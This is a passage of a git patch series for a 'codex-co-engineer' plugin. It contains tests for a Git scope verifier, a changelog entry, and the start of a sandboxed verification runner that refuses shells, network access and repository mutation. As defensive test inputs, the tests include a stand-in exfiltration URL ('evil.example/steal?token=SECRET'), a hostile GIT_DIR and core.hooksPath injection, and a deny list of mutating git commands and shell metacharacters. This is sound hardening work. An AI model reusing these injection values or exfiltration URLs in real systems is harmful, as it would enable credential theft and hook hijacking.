return nodeSpawn(command, args, options); + }; + } + const accessorError = await errorOf(() => verifyScopeV1(request, { + spawn: afterIdentity({ + stdout: { + get on() { throw new Error('https://evil.example/steal?token=SECRET'); }, + }, + stderr: { on() { return this; } }, + kill() {}, + once() {}, + }), + })); + assert.ok( + accessorError.code === 'git_execution_failed' || accessorError.code === 'proxy_denied' + || accessorError.code === 'observation_race', + ); + assertContentFree(accessorError, 'SECRET', 'evil.example', 'steal'); +}); + +test('read-only untracked dirt is a mutation, not a silent pass', async (t) => { + const repo = await createUntrackedOutOfScopeRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo, { assignment_id: READ_ONLY_ASSIGNMENT_ID }); + const result = await verifyScopeV1(scopeRequest(repo, identity, { + assignment_id: READ_ONLY_ASSIGNMENT_ID, + access: 'read_only', + write_scope: [], + })); + assert.equal(result.status, 'failed'); + assert.equal(discrepancyIds(result).includes('read-only-mutation'), true); +}); + +test('other_write_scopes cannot alias this assignment or carry extra keys', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const self = await errorOf(() => parseScopeVerifierRequestV1(scopeRequest(repo, identity, { + other_write_scopes: [{ + assignment_id: identity.facts[0].assignment_id, + write_scope: ['docs/**'], + }], + }))); + assert.equal(self.code, 'conflicting_id'); + const extra = await errorOf(() => parseScopeVerifierRequestV1(scopeRequest(repo, identity, { + other_write_scopes: [{ + assignment_id: OTHER_ASSIGNMENT_ID, + write_scope: ['docs/**'], + extra: true, + }], + }))); + assert.equal(extra.code, 'unknown_key'); +}); + +test('closed protocol and config env is forced on every P15 git spawn', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity), { + spawn(command, args, options) { + assert.equal(options.env, GIT_CLOSED_ENV); + assert.equal(options.env.GIT_ALLOW_PROTOCOL, ''); + assert.equal(options.env.GIT_PROTOCOL_FROM_USER, '0'); + assert.equal(options.env.GIT_CONFIG_NOSYSTEM, '1'); + assert.equal(options.env.GIT_CONFIG_GLOBAL, '/dev/null'); + assert.equal(options.env.GIT_CONFIG_SYSTEM, '/dev/null'); + assert.equal(Object.hasOwn(options.env, 'GIT_CONFIG'), false); + return nodeSpawn(command, args, options); + }, + }); + assert.equal(result.status, 'verified'); +}); diff --git a/plugins/codex-co-engineer/test/r1-scope-verifier.test.mjs b/plugins/codex-co-engineer/test/r1-scope-verifier.test.mjs new file mode 100644 index 0000000..218a6c7 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-scope-verifier.test.mjs @@ -0,0 +1,351 @@ +import assert from 'node:assert/strict'; +import { spawn as nodeSpawn } from 'node:child_process'; +import test from 'node:test'; + +import { + parseEvidenceDiscrepancyV1, + parseVerifiedFactV1, +} from '../mcp/v3/evidence-bundle.mjs'; +import { + GIT_CLOSED_ENV, + GIT_EXECUTABLE, + verifyGitIdentityV1, +} from '../mcp/v3/git-identity.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + parseScopeVerifierRequestV1, + SCOPE_VERIFIER_ERROR_CODES, + SCOPE_VERIFIER_SCHEMA_ID, + SCOPE_VERIFIER_VERSION, + verifyScopeV1, +} from '../mcp/v3/scope-verifier.mjs'; +import { + ASSIGNMENT_ID, + BASE_REF, + OTHER_ASSIGNMENT_ID, + OTHER_WRITE_SCOPE, + READ_ONLY_ASSIGNMENT_ID, + RUN_ID, + WRITE_SCOPE, + createCopyInScopeRepo, + createDeletionInScopeRepo, + createInScopeWriterRepo, + createOutOfScopeWriterRepo, + createOverlapRepo, + createReadOnlyUnchangedRepo, + createRenameInScopeRepo, + createStagedUntrackedMixRepo, + createUnicodeNfcRepo, + createUntrackedInScopeRepo, + identityRequest, + scopeRequest, +} from './fixtures/r1-scope-verifier-fixtures.mjs'; + +function errorOf(action, expectedPath) { + return Promise.resolve() + .then(() => action()) + .then( + () => assert.fail('expected a typed RunContractV1Error'), + (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + }, + ); +} + +function discrepancyIds(result) { + return result.discrepancies.map((entry) => entry.discrepancy_id); +} + +function gitCommandOf(args) { + for (let index = 0; index < args.length; index += 1) { + const arg = args[index]; + if (arg === '-C' || arg === '--git-dir' || arg === '-c') { + index += 1; + continue; + } + if (typeof arg === 'string' && !arg.startsWith('-')) return arg; + } + return undefined; +} + +async function identityOf(repo, overrides = {}) { + return verifyGitIdentityV1(identityRequest(repo, overrides)); +} + +test('schema identity is additive v1 and does not claim later-wave ownership', () => { + assert.equal(SCOPE_VERIFIER_SCHEMA_ID, 'codex-co-engineer.scope-verifier.v1'); + assert.equal(SCOPE_VERIFIER_VERSION, 1); + assert.equal(Object.isFrozen(SCOPE_VERIFIER_ERROR_CODES), true); + assert.equal(SCOPE_VERIFIER_SCHEMA_ID.includes('4.0.0'), false); + assert.equal(SCOPE_VERIFIER_SCHEMA_ID.includes('p16'), false); +}); + +test('a valid request parses into a frozen detached snapshot', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const input = scopeRequest(repo, identity); + const snapshot = parseScopeVerifierRequestV1(input); + assert.equal(Object.isFrozen(snapshot), true); + assert.equal(Object.isFrozen(snapshot.write_scope), true); + assert.equal(Object.isFrozen(snapshot.identity), true); + assert.equal(snapshot.access, 'writer'); + assert.deepEqual([...snapshot.write_scope], [...WRITE_SCOPE]); + input.access = 'read_only'; + input.write_scope.push('docs/**'); + assert.equal(snapshot.access, 'writer'); + assert.deepEqual([...snapshot.write_scope], [...WRITE_SCOPE]); +}); + +test('required keys, extra keys, and hidden defaults fail closed', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const base = scopeRequest(repo, identity); + assert.equal( + (await errorOf(() => parseScopeVerifierRequestV1({ ...base, extra: true }))).code, + 'unknown_key', + ); + const missing = { ...base }; + delete missing.other_write_scopes; + assert.equal( + (await errorOf( + () => parseScopeVerifierRequestV1(missing), 'scope.other_write_scopes', + )).code, + 'missing_key', + ); + assert.equal( + (await errorOf(() => parseScopeVerifierRequestV1({ + ...base, access: 'read_only', write_scope: ['src/**'], + }))).code, + 'out_of_range', + ); +}); + +test('an in-scope writer verifies independently into P13 git_diff facts', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + assert.equal(result.schema, SCOPE_VERIFIER_SCHEMA_ID); + assert.equal(result.status, 'verified'); + assert.equal(result.discrepancies.length, 0); + assert.equal(result.facts.length, 2); + assert.equal(result.observation.base_sha, repo.baseSha); + assert.equal(result.observation.head_sha, repo.headSha); + assert.equal(result.observation.access, 'writer'); + assert.equal(result.observation.parent_count, 1); + assert.equal(result.observation.path_count >= 1, true); + assert.equal(result.observation.dirty, false); + assert.equal(result.facts[0].fact_kind, 'git_diff'); + assert.equal(result.facts[0].status, 'verified'); + assert.equal(result.facts[0].authority, 'platform_git'); + assert.equal(result.facts[0].method, 'scope_match'); + assert.equal(result.facts[0].payload.path_count, result.observation.path_count); + assert.equal(result.facts[0].payload.path_set_digest, result.observation.path_set_digest); + assert.equal(result.facts[1].fact_kind, 'head_sha'); + assert.equal(result.facts[1].method, 'merge_commit_absence'); + assert.equal(result.facts[1].payload.sha, repo.headSha); + assert.deepEqual(parseVerifiedFactV1({ ...result.facts[0] }).payload, result.facts[0].payload); + parseVerifiedFactV1({ ...result.facts[1] }); + assert.equal(Object.isFrozen(result), true); + assert.equal(Object.isFrozen(result.facts), true); + assert.equal(Object.isFrozen(result.observation), true); +}); + +test('additions, deletions, in-scope renames, and copies stay owned', async (t) => { + const rename = await createRenameInScopeRepo(); + t.after(() => rename.cleanup()); + const renameIdentity = await identityOf(rename); + const renameResult = await verifyScopeV1(scopeRequest(rename, renameIdentity)); + assert.equal(renameResult.status, 'verified'); + assert.equal(renameResult.observation.rename_count >= 1, true); + + const copy = await createCopyInScopeRepo(); + t.after(() => copy.cleanup()); + const copyIdentity = await identityOf(copy); + const copyResult = await verifyScopeV1(scopeRequest(copy, copyIdentity)); + assert.equal(copyResult.status, 'verified'); + assert.equal(copyResult.observation.path_count >= 1, true); + + const deletion = await createDeletionInScopeRepo(); + t.after(() => deletion.cleanup()); + const deletionIdentity = await identityOf(deletion); + const deletionResult = await verifyScopeV1(scopeRequest(deletion, deletionIdentity)); + assert.equal(deletionResult.status, 'verified'); + assert.equal(deletionResult.observation.path_count >= 1, true); +}); + +test('changed paths outside the trusted write_scope fail as a discrepancy', async (t) => { + const repo = await createOutOfScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + assert.equal(result.status, 'failed'); + assert.equal(discrepancyIds(result).includes('scope-mismatch'), true); + assert.equal(result.facts[0].status, 'failed'); + parseEvidenceDiscrepancyV1({ ...result.discrepancies[0] }); +}); + +test('paths owned by another assignment fail as overlap', async (t) => { + const repo = await createOverlapRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity, { + other_write_scopes: [{ + assignment_id: OTHER_ASSIGNMENT_ID, + write_scope: [...OTHER_WRITE_SCOPE], + }], + })); + assert.equal(result.status, 'failed'); + const ids = discrepancyIds(result); + assert.equal(ids.includes('scope-overlap'), true); + assert.equal(ids.includes('scope-mismatch'), true); +}); + +test('read-only assignments with no candidate mutations verify', async (t) => { + const repo = await createReadOnlyUnchangedRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo, { assignment_id: READ_ONLY_ASSIGNMENT_ID }); + const result = await verifyScopeV1(scopeRequest(repo, identity, { + assignment_id: READ_ONLY_ASSIGNMENT_ID, + access: 'read_only', + write_scope: [], + })); + assert.equal(result.status, 'verified'); + assert.equal(result.observation.path_count, 0); + assert.equal(result.observation.dirty, false); + assert.equal(result.facts[0].method, 'read_only_no_changes'); + assert.equal(result.facts[0].payload.path_count, 0); + assert.equal(result.facts[1].method, 'merge_commit_absence'); +}); + +test('read-only assignments reject candidate mutations', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo, { assignment_id: READ_ONLY_ASSIGNMENT_ID }); + const result = await verifyScopeV1(scopeRequest(repo, identity, { + assignment_id: READ_ONLY_ASSIGNMENT_ID, + access: 'read_only', + write_scope: [], + })); + assert.equal(result.status, 'failed'); + assert.equal(discrepancyIds(result).includes('read-only-mutation'), true); + assert.equal(result.observation.path_count >= 1, true); +}); + +test('NFC Unicode paths in scope verify without reflecting the bytes', async (t) => { + const repo = await createUnicodeNfcRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + assert.equal(result.status, 'verified'); + assert.equal(result.observation.path_count >= 1, true); + assert.equal(JSON.stringify(result).includes(repo.extra.path), false); +}); + +test('tracked index mutations join the content-free path set', async (t) => { + const repo = await createStagedUntrackedMixRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + assert.equal(result.status, 'verified'); + assert.equal(result.observation.dirty, true); + assert.equal(result.observation.path_count >= 2, true); +}); + +test('untracked in-scope files join ownership without leaking names', async (t) => { + const repo = await createUntrackedInScopeRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + assert.equal(result.status, 'verified'); + assert.equal(result.observation.dirty, true); + assert.equal(JSON.stringify(result).includes('scratch.txt'), false); +}); + +test('git runs as argv without shell and with a closed environment', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const calls = []; + const previousGitDir = process.env.GIT_DIR; + const previousConfig = process.env.GIT_CONFIG_PARAMETERS; + process.env.GIT_DIR = '/tmp/hostile-git-dir'; + process.env.GIT_CONFIG_PARAMETERS = "'core.hooksPath=/tmp/hooks'"; + try { + const result = await verifyScopeV1(scopeRequest(repo, identity), { + spawn(command, args, options) { + calls.push({ command, args, options }); + return nodeSpawn(command, args, options); + }, + }); + assert.equal(result.status, 'verified'); + } finally { + if (previousGitDir === undefined) delete process.env.GIT_DIR; + else process.env.GIT_DIR = previousGitDir; + if (previousConfig === undefined) delete process.env.GIT_CONFIG_PARAMETERS; + else process.env.GIT_CONFIG_PARAMETERS = previousConfig; + } + assert.ok(calls.length > 0); + const mutating = new Set([ + 'add', 'am', 'apply', 'checkout', 'cherry-pick', 'clean', 'clone', 'commit', + 'fetch', 'init', 'merge', 'pull', 'push', 'rebase', 'replace', 'reset', + 'revert', 'rm', 'stash', 'tag', 'update-index', 'worktree', + ]); + for (const call of calls) { + assert.equal(call.command, GIT_EXECUTABLE); + assert.equal(call.options.cwd, '/'); + assert.equal(call.options.env, GIT_CLOSED_ENV); + assert.equal(call.options.env.GIT_CONFIG_NOSYSTEM, '1'); + assert.equal(call.options.env.GIT_CONFIG_GLOBAL, '/dev/null'); + assert.equal(call.options.env.GIT_CONFIG_SYSTEM, '/dev/null'); + assert.equal(call.options.env.GIT_ALLOW_PROTOCOL, ''); + assert.equal(call.options.env.GIT_PROTOCOL_FROM_USER, '0'); + assert.equal(Object.hasOwn(call.options.env, 'GIT_DIR'), false); + assert.equal(call.options.shell, undefined); + assert.equal(Array.isArray(call.args), true); + assert.equal(call.args.some((arg) => arg.includes('&&') || arg.includes('|') || arg.includes(';')), false); + const command = gitCommandOf(call.args); + assert.equal(mutating.has(command), false, command); + } +}); + +test('independent repositories verify concurrently without sharing observation', async (t) => { + const left = await createInScopeWriterRepo(); + const right = await createInScopeWriterRepo(); + t.after(() => Promise.all([left.cleanup(), right.cleanup()])); + const [leftIdentity, rightIdentity] = await Promise.all([ + identityOf(left), identityOf(right), + ]); + const [leftResult, rightResult] = await Promise.all([ + verifyScopeV1(scopeRequest(left, leftIdentity)), + verifyScopeV1(scopeRequest(right, rightIdentity)), + ]); + assert.equal(leftResult.status, 'verified'); + assert.equal(rightResult.status, 'verified'); + assert.equal(leftResult.observation.repository_path, left.path); + assert.equal(rightResult.observation.repository_path, right.path); + assert.notEqual(left.headSha, right.headSha); + assert.notEqual(leftResult.facts[0].payload.path_set_digest, undefined); +}); + +test('facts and discrepancies stay content-free and re-parse as P13 snapshots', async (t) => { + const repo = await createOutOfScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + const blob = JSON.stringify(result); + assert.equal(blob.includes('secret.txt'), false); + assert.equal(blob.includes(repo.path), true); + for (const fact of result.facts) parseVerifiedFactV1({ ...fact }); + for (const discrepancy of result.discrepancies) { + parseEvidenceDiscrepancyV1({ ...discrepancy }); + assert.equal(discrepancy.claim_ids.length, 0); + } + assert.equal(BASE_REF.startsWith('refs/heads/'), true); + assert.equal(ASSIGNMENT_ID, 'lane-writer'); + assert.equal(RUN_ID.startsWith('run-'), true); +}); From 42c2d092fc1d5e1bdb186595ba1799f8c646b807 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 09:15:30 +0000 Subject: [PATCH 61/81] docs(changelog): record the P15 scope verifier Document ScopeVerifierV1 as additive 3.3.0 work that does not own command policy, composition, or Git mutation. --- CHANGELOG.md | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index f7f6d5e..48e347b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,27 @@ ### Added +- **ScopeVerifierV1 independent changed-path ownership, read-only, and + merge-commit verifier.** Adds an additive v3 `scope-verifier.mjs` module + for W16-P15. It consumes only trusted P14 `GitIdentityV1` snapshots and + P13 `VerifiedFactV1` / `EvidenceDiscrepancyV1` records, never provider + claims, and binds content-free `git_diff` / `head_sha` facts + (`platform_git` with `scope_match`, `read_only_no_changes`, and + `merge_commit_absence`). Observation is argv-only (`/usr/bin/git`, no + shell) through the P14 closed environment with system/global/caller + config and protocols disabled; output, time, and command counts are + bounded; typed errors never echo hostile bytes. It validates ownership + of additions, deletions, renames, and copies against trusted assignment + write-scope globs (P02 matcher), including overlap with other writers, + symlink/gitlink/type-change, Unicode NFC vs confusable separators, and + tracked plus untracked state. Read-only lanes must have no candidate or + worktree mutations. Merge commits and multi-parent histories fail. + Pre/post identity and worktree fingerprints detect observation races + and fail closed. It does not own P16A trusted command policy, P28 Git + mutation, P30/P35 composition, server/supervisor integration, network, + or merge/rebase/push/PR. Coverage lives in `r1-scope-verifier` and + `r1-scope-verifier-adversarial` tests plus disposable rename, merge, + symlink, gitlink, Unicode, untracked, and race fixtures. - **GitIdentityV1 independent repository, ancestry, and merge-base verifier.** Adds an additive v3 `git-identity.mjs` module for W13-P14. It derives Git facts from the local repository through argv execution From 5915212b507e22179ae9e1ab54fd3c733655827b Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 09:33:02 +0000 Subject: [PATCH 62/81] feat(verify): add constrained verification runner Execute a genuine immutable P16B ExecutionIntent plus trusted P16A policy once in a disposable workspace disjoint from the candidate. Spawn the exact owner-approved absolute executable and argv with shell=false, an empty-by-default environment, timeout, output caps, network deny, and host-available process isolation. Audit candidate Git identity before and after, fail closed on mutation, races, escaped descendants, floods, timeouts, and cleanup uncertainty, and never trust provider-reported PASS. --- .../v3/constrained-verification-runner.mjs | 1262 +++++++++++++++++ 1 file changed, 1262 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/constrained-verification-runner.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/constrained-verification-runner.mjs b/plugins/codex-co-engineer/mcp/v3/constrained-verification-runner.mjs new file mode 100644 index 0000000..244e0c0 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/constrained-verification-runner.mjs @@ -0,0 +1,1262 @@ +// Constrained verification runner — ExecutionIntent execution receipt for +// W16-P16C (ADR 0001 identifiers +// `verification_policy_v1_only_executable_catalog`, +// `codex_selects_approved_command_ids_only`, +// `provider_commands_evidence_never_auto_executed`, +// `read_only_verification`, +// `bounded_evidence`, +// `gate_a_constrained_trusted_policy_command_execution`, +// `gate_a_safe_per_run_cleanup`, +// `gate_a_no_protected_ref_mutation`). +// +// Additive v3 module. It owns one fail-closed question: given a genuine +// immutable P16B ExecutionIntent receipt plus trusted P16A policy and a +// candidate identity, execute that exact owner-approved command once under +// host-available constraints in a disposable workspace and return bounded +// sanitized content-free outcome/evidence compatible with P13. It answers +// nothing else. +// This module never consults PATH, never uses a shell, never opens a remote +// network socket, never merges, rebases, pushes, opens a pull request, or +// mutates a protected ref. It does not import or integrate the MCP server, +// supervisor, scheduler, or process-boundary worker launcher, and it does +// not dispatch a provider. Provider-reported PASS is never treated as a fact. +// +// The only executable and argv that may run are the exact values bound by +// re-resolving the trusted policy against the intent's command_id and typed +// parameters. The child environment is empty by default and receives only +// policy-authorized bounded entries. Network default/deny is enforced; an +// allowlist cannot be enforced here and is denied. Temporary cleanup deletes +// only the exact workspace this invocation created. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { spawn as nodeSpawn } from 'node:child_process'; +import { createHash, randomBytes, timingSafeEqual } from 'node:crypto'; +import { lstat, mkdir, readFile, readdir, realpath, rm } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import process from 'node:process'; + +import { + APPROVED_VERIFICATION_COMMAND_SCHEMA_ID, + APPROVED_VERIFICATION_COMMAND_VERSION, + RECEIPT_KEYS, + resolveApprovedVerificationCommandV1, +} from './approved-verification-command.mjs'; +import { + FACT_AUTHORITIES, + FACT_CODES, + FACT_KINDS, + FACT_METHODS, + FACT_STATUSES, + REPORTED_RESULTS, +} from './evidence-bundle.mjs'; +import { + capturedCreate, + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedIsArray, + capturedTest, + sortedCapturedKeys, +} from './grammar.mjs'; +import { + IDENTITY_DOMAIN, + IDENTITY_LABELS, + IDENTITY_VERSION, + canonicalJsonStringify, + identityDigestV1, +} from './identity.mjs'; +import { + assertBaseSha, + assertRepositoryPath, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + hasOwn, + optOwn, +} from './selection-json.mjs'; +import { + DENIED_ENV_NAMES, + DIGEST_ALGORITHM, + MAX_POLICY_OBJECT_KEYS, +} from './trusted-verification-policy.mjs'; + +export const CONSTRAINED_VERIFICATION_SCHEMA_ID = + 'codex-co-engineer.constrained-verification.v1'; +export const CONSTRAINED_VERIFICATION_VERSION = 1; +export const VERIFICATION_EXECUTION_DIGEST_LABEL = IDENTITY_LABELS.VERIFICATION_EXECUTION_RECEIPT; + +export const GIT_EXECUTABLE = '/usr/bin/git'; +export const UNSHARE_EXECUTABLE = '/usr/bin/unshare'; +export const WORKSPACE_NAME_PREFIX = 'codex-co-engineer-p16c-'; +export const KILL_GRACE_MS = 1_000; +export const STUCK_GRACE_MS = 100; +export const GIT_AUDIT_TIMEOUT_MS = 5_000; +export const GIT_AUDIT_MAX_BYTES = 65_536; +export const WORKSPACE_MODE = 0o700; + +export const REQUEST_ALLOWED_KEYS = capturedFreeze(['candidate', 'intent', 'policy']); +export const REQUEST_REQUIRED_KEYS = REQUEST_ALLOWED_KEYS; +export const CANDIDATE_ALLOWED_KEYS = capturedFreeze([ + 'expected_base_sha', 'expected_head_sha', 'repository', +]); +export const CANDIDATE_REQUIRED_KEYS = capturedFreeze(['repository']); +export const OPTION_ALLOWED_KEYS = capturedFreeze(['adapter']); +export const ADAPTER_ALLOWED_KEYS = capturedFreeze([ + 'killProcessGroup', 'listDescendants', 'lstat', 'mkdir', 'nowMs', + 'randomId', 'readGitIdentity', 'realpath', 'rmdirExact', 'spawn', 'tmpRoot', +]); +export const RECEIPT_BODY_KEYS = capturedFreeze([ + 'candidate_audit', 'cleanup', 'command_id', 'facts', 'intent_identity', + 'observations', 'outcome', 'policy_identity', 'schema', 'version', +]); +export const RECEIPT_RESULT_KEYS = capturedFreeze([ + 'candidate_audit', 'cleanup', 'command_id', 'execution_identity', 'facts', + 'intent_identity', 'observations', 'outcome', 'policy_identity', 'schema', + 'version', +]); +export const OUTCOME_KEYS = capturedFreeze([ + 'duration_ms', 'exit_code', 'result', 'signal', 'stderr_bytes', + 'stderr_digest', 'stderr_truncated', 'stdout_bytes', 'stdout_digest', + 'stdout_truncated', 'termination', +]); +export const CANDIDATE_AUDIT_KEYS = capturedFreeze([ + 'base_sha', 'config_digest', 'filesystem_digest', 'head_sha', 'refs_digest', + 'status_digest', 'unchanged', 'worktrees_digest', +]); +export const CLEANUP_KEYS = capturedFreeze(['status']); +export const OBSERVATION_KEYS = capturedFreeze(['acceptance', 'git_identity']); +export const ACCEPTANCE_OBSERVATION_KEYS = capturedFreeze([ + 'authority', 'code', 'duration_ms', 'exit_code', 'fact_kind', 'input_digest', + 'method', 'output_digest', 'payload', 'payload_digest', 'status', 'subject', + 'truncated', +]); +export const GIT_OBSERVATION_KEYS = capturedFreeze([ + 'authority', 'code', 'duration_ms', 'exit_code', 'fact_kind', 'input_digest', + 'method', 'output_digest', 'payload', 'payload_digest', 'status', 'subject', + 'truncated', +]); +export const IDENTITY_RECEIPT_KEYS = capturedFreeze([ + 'algorithm', 'digest', 'domain', 'input_bytes', 'label', 'version', +]); +export const TERMINATION_REASONS = capturedFreeze(['exited']); +export const CLEANUP_STATUSES = capturedFreeze(['removed']); +export const WORKSPACE_ID_PATTERN = /^[0-9a-f]{32}$/u; + +export const CONSTRAINED_VERIFICATION_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', 'aliased_reference_denied', 'authority_denied', + 'candidate_identity_mismatch', 'candidate_mutated', 'candidate_not_regular', + 'candidate_race', 'candidate_unreadable', 'cleanup_uncertain', 'clock_denied', + 'control_character_denied', 'duplicate_id', 'env_name_denied', + 'escaped_descendants', 'executable_content_denied', 'executable_not_runnable', + 'exotic_prototype_denied', 'git_identity_unverified', 'git_unavailable', + 'intent_not_genuine', 'invalid_array', 'invalid_encoding', 'invalid_format', + 'invalid_json_type', 'invalid_json_value', 'invalid_type', 'missing_key', + 'mutation_permission_denied', 'network_allowlist_unsupported', + 'network_content_denied', 'network_isolation_unavailable', + 'non_enumerable_property_denied', 'one_execution_only', + 'option_smuggling_denied', 'out_of_range', 'output_flood', + 'own_undefined_denied', 'placeholder_unbound', 'policy_intent_mismatch', + 'proxy_denied', 'resource_bound_unavailable', 'resource_limit_denied', + 'shell_content_denied', 'signal_ambiguous', 'special_file_denied', + 'symbol_key_denied', 'symlink_denied', 'timeout', 'unknown_command', + 'unknown_key', 'value_depth_exceeded', 'workspace_overlap_denied', + 'workspace_unreadable', +]); + +const MESSAGES = capturedFreeze(Object.assign(capturedCreate(null), { + accessor_property_denied: 'An accessor property was denied; getters are never invoked.', + aliased_reference_denied: 'Aliased or cyclic references are denied.', + authority_denied: 'Provider, profile, and manifest commands are evidence only and cannot authorize execution.', + candidate_identity_mismatch: 'The candidate Git identity does not match the pinned expectation.', + candidate_mutated: 'The candidate Git identity or filesystem changed during verification.', + candidate_not_regular: 'The candidate must be a regular directory without a symlink root.', + candidate_race: 'The candidate changed while it was being inspected.', + candidate_unreadable: 'The candidate could not be inspected safely.', + cleanup_uncertain: 'Temporary cleanup could not be proven exact; the path was not deleted.', + clock_denied: 'The host clock moved backwards or produced a non-canonical duration.', + control_character_denied: 'Control, invisible, or bidi characters are denied.', + duplicate_id: 'A duplicate identity was denied instead of collapsed.', + env_name_denied: 'An environment name is outside the closed allowlist.', + escaped_descendants: 'A descendant process remained after the single execution ended.', + executable_content_denied: 'Untrusted input must not contribute executable content.', + executable_not_runnable: 'The owner-approved executable is not a regular runnable file.', + exotic_prototype_denied: 'Exotic prototypes are denied.', + git_identity_unverified: 'Candidate Git identity could not be verified as a closed read-only snapshot.', + git_unavailable: 'The host Git executable required for candidate audit is unavailable.', + intent_not_genuine: 'The execution intent is not a genuine immutable P16B receipt for the trusted policy.', + invalid_array: 'Arrays must be dense JSON arrays without extended metadata.', + invalid_encoding: 'Text must be well-formed NFC/NFKC Unicode.', + invalid_format: 'A field violates the closed grammar.', + invalid_json_type: 'A non-JSON value was denied.', + invalid_json_value: 'A non-canonical JSON number or value was denied.', + invalid_type: 'A field has the wrong JSON type.', + missing_key: 'A required field is missing; trusted execution has no hidden grants.', + mutation_permission_denied: 'Untrusted input must not contribute mutation permissions.', + network_allowlist_unsupported: 'Network allowlists cannot be enforced and are denied.', + network_content_denied: 'Untrusted input must not contribute network targets.', + network_isolation_unavailable: 'Host network-deny isolation is required and was not available.', + non_enumerable_property_denied: 'Non-enumerable properties are denied.', + one_execution_only: 'The approved command may execute once; retry and fallback are denied.', + option_smuggling_denied: 'A parameter value attempted to smuggle an option or argv fragment.', + out_of_range: 'A bounded integer, count, or size was exceeded.', + output_flood: 'Stdout or stderr exceeded the owner-authorized byte cap.', + own_undefined_denied: 'Own undefined values are denied; omit the field instead.', + placeholder_unbound: 'An argv placeholder is not bound to a declared parameter.', + policy_intent_mismatch: 'The execution intent does not belong to the supplied trusted policy.', + proxy_denied: 'Live and revoked Proxies are denied.', + resource_bound_unavailable: 'A required host resource bound could not be applied.', + resource_limit_denied: 'Untrusted input must not contribute resource limits.', + shell_content_denied: 'Shell text, interpolation, or metacharacters are denied.', + signal_ambiguous: 'Process termination was ambiguous between exit status and signal.', + special_file_denied: 'Special files, devices, and non-regular executables are denied.', + symbol_key_denied: 'Symbol keys are denied.', + symlink_denied: 'Symbolic links are denied on the executable, candidate, and workspace.', + timeout: 'The approved command exceeded the owner-authorized timeout.', + unknown_command: 'The selected command is not in the trusted catalog.', + unknown_key: 'A key is outside the closed vocabulary.', + value_depth_exceeded: 'Nesting exceeds the bounded policy depth.', + workspace_overlap_denied: 'The disposable workspace must be disjoint from the candidate.', + workspace_unreadable: 'The disposable workspace could not be created or proven exact.', +})); + +const EXECUTABLE_FOLDS = capturedFreeze([ + 'args', 'argument', 'arguments', 'argv', 'argvtemplate', 'bin', 'binary', + 'cmd', 'cmdline', 'command', 'commandcatalog', 'commands', 'cwd', + 'entrypoint', 'exec', 'executable', 'interpreter', 'run', 'runner', + 'runnercommand', 'script', 'scripts', 'selection', 'shell', 'shellcommand', + 'template', 'templates', 'verificationcommand', 'verificationpolicy', + 'verificationpolicyv1', 'workingdirectory', +]); +const ENVIRONMENT_FOLDS = capturedFreeze([ + 'dotenv', 'env', 'environ', 'environment', 'environmentallowlist', + 'envfile', 'envvar', 'envvars', +]); +const NETWORK_FOLDS = capturedFreeze([ + 'endpoint', 'host', 'hostname', 'hosts', 'network', 'uri', 'url', +]); +const MUTATION_FOLDS = capturedFreeze([ + 'filesystem', 'mutate', 'mutation', 'persist', 'persistent', 'write', +]); +const RESOURCE_FOLDS = capturedFreeze([ + 'cpulimit', 'maxerrorbytes', 'maxoutputbytes', 'memorylimit', 'pidslimit', + 'resource', 'resources', 'timeout', 'timeoutms', 'ulimit', +]); +const AUTHORITY_FOLDS = capturedFreeze([ + 'acceptance', 'assignment', 'attention', 'catalog', 'claim', 'evidence', + 'manifest', 'profile', 'profiles', 'provider', 'providercommand', + 'providerreport', 'providers', 'report', 'reported', 'requested', + 'requestedcommand', 'suggestion', 'untrusted', 'worker', +]); +const GIT_AUDIT_COMMANDS = capturedFreeze([ + capturedFreeze(['rev-parse', '--verify', 'HEAD']), + capturedFreeze(['status', '--porcelain=v1', 